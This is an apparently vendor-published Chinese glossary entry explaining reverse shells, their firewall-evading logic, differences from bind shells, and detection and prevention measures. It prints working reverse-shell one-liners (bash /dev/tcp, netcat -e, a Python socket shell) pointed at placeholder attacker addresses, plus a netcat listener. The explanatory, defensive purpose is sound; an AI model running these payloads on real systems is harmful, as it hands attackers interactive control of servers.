术语表 Reverse Shell

反向Shell

TL;DR: 反向Shell

反向Shell,也称为回连Shell,是指受感染的系统连接到攻击者并为其提供实时命令行会话。

这为什么重要?

  • 反向Shell可以绕过防火墙,因为大多数防火墙阻止传入连接但允许传出连接。
  • 攻击者获得真正的控制权,因为他们可以像直接登录一样运行命令。
  • 反向Shell非常常见,因为它们是攻击者在利用系统后采取的标准步骤。

可以这样想:与其说攻击者试图进入,不如说他们诱骗服务器主动联系他们。

什么是反向Shell?

反向Shell是一种远程Shell,其中受害者的计算机启动与攻击者计算机的连接。

通常,您的计算机启动连接,例如当您访问网站时。使用反向Shell,这种情况被颠倒过来。在攻击者找到运行代码的方法后,服务器会回连到攻击者。

一个简单的记忆方法:

  • 绑定Shell: 您尝试连接到服务器。如果防火墙阻止您,您将无法通过。
  • 反向Shell: 服务器连接到您。由于通常允许传出连接,您可以响应并取得控制权。

为什么反向Shell很重要

安全团队通常专注于防火墙、负载均衡器和限制端口等防御措施。这些措施有效,直到攻击者设法在系统内部运行代码。

当这种情况发生时,反向Shell成为攻击者留在系统中的主要方式。

为什么这很危险:

  • 出站流量被信任。

    防火墙通常允许端口如80或443上的出站流量用于更新和API。反向shell可以隐藏在这些被允许的流量中。

  • 攻击者可以维持访问。

    即使原始的安全漏洞被修复,活动的shell仍然可以让攻击者控制系统。

  • 它使横向移动成为可能。

    通过shell,攻击者可以查看内部网络,窃取密码,并移动到其他计算机。一个漏洞很快就能导致整个环境被攻陷。

反向Shell如何工作

反向shell有两个主要部分:监听器有效载荷

1. 监听器(攻击者端)

攻击者使用一个程序等待连接。Netcat是一个常用的工具。

nc -lvnp 4444

这个命令告诉攻击者的计算机监听端口4444并等待连接。

2. 有效载荷(受害者端)

在找到一个漏洞如远程代码执行后,攻击者在受害者的服务器上运行一个命令以打开一个shell并将其发送回去。

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

这个命令启动一个bash shell并将所有输入和输出发送到攻击者的计算机。

3. 连接

受害者的服务器启动一个出站连接。防火墙将其视为正常并允许。攻击者的监听器接受连接,给予攻击者在服务器上的实时shell。

在这个阶段,攻击者对服务器拥有完全的交互式控制。

常见的反向Shell示例

攻击者和道德黑客会根据目标系统上可用的工具调整他们的方法。

Bash(常见于Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

当目标机器上有Netcat时使用。

nc -e /bin/sh 10.0.0.1 4444

Python

Python在现代服务器上非常常见。

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

反向Shell与绑定Shell

了解反向Shell和绑定Shell之间的区别有助于防御网络。

特性绑定Shell反向Shell
连接方向攻击者到受害者受害者到攻击者
防火墙影响通常被阻止通常被允许
网络要求需要直接访问可通过NAT和防火墙工作
典型用例内部网络真实世界攻击

谁使用反向Shell?

  • 渗透测试人员使用反向Shell来证明漏洞可以导致系统完全妥协。
  • 红队使用反向Shell来测试出站流量控制的效果。
  • 恶意行为者使用反向Shell来部署勒索软件、窃取数据或进一步渗透网络。
  • 系统管理员很少使用反向Shell进行远程访问。他们通常更喜欢使用安全的SSH隧道。

检测和预防

阻止反向Shell需要多层防御。

  • 出站流量过滤

    服务器不应有对互联网的开放访问。限制它们可以使用的目的地和端口。

  • 行为监控

    Web 服务器生成 shell 进程,例如 /bin/bash 或 cmd.exe,是非常可疑的。

  • 减少攻击面

    从生产系统中移除未使用的工具,如 Netcat、编译器和额外的解释器。

相关术语

  • 远程代码执行 (RCE)
  • 绑定 Shell

常见问题:反向 Shell

反向 Shell 是非法的吗?

反向 Shell 只有在您拥有系统或有明确的测试许可时才是合法的。未经许可使用它们是非法的。

为什么防火墙允许反向 Shell?

防火墙旨在阻止传入威胁,通常信任传出的流量。反向 Shell 利用了这一点。

杀毒软件能检测到反向 Shell 吗?

有时可以。使用签名的杀毒软件可以找到已知的 Shell 程序,但用 Bash 或 Python 制作的无文件 Shell 更难检测。

反向 Shell 和 Webshell 有什么区别?

Webshell 通过浏览器使用,通常驻留在系统上,但功能有限。反向 Shell 提供实时的交互式命令行会话。

下一步

准备好保护您的应用程序了吗?选择您的前进路径。

加入 500 多家公司,已经使用 Plexicus 保护他们的应用程序

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready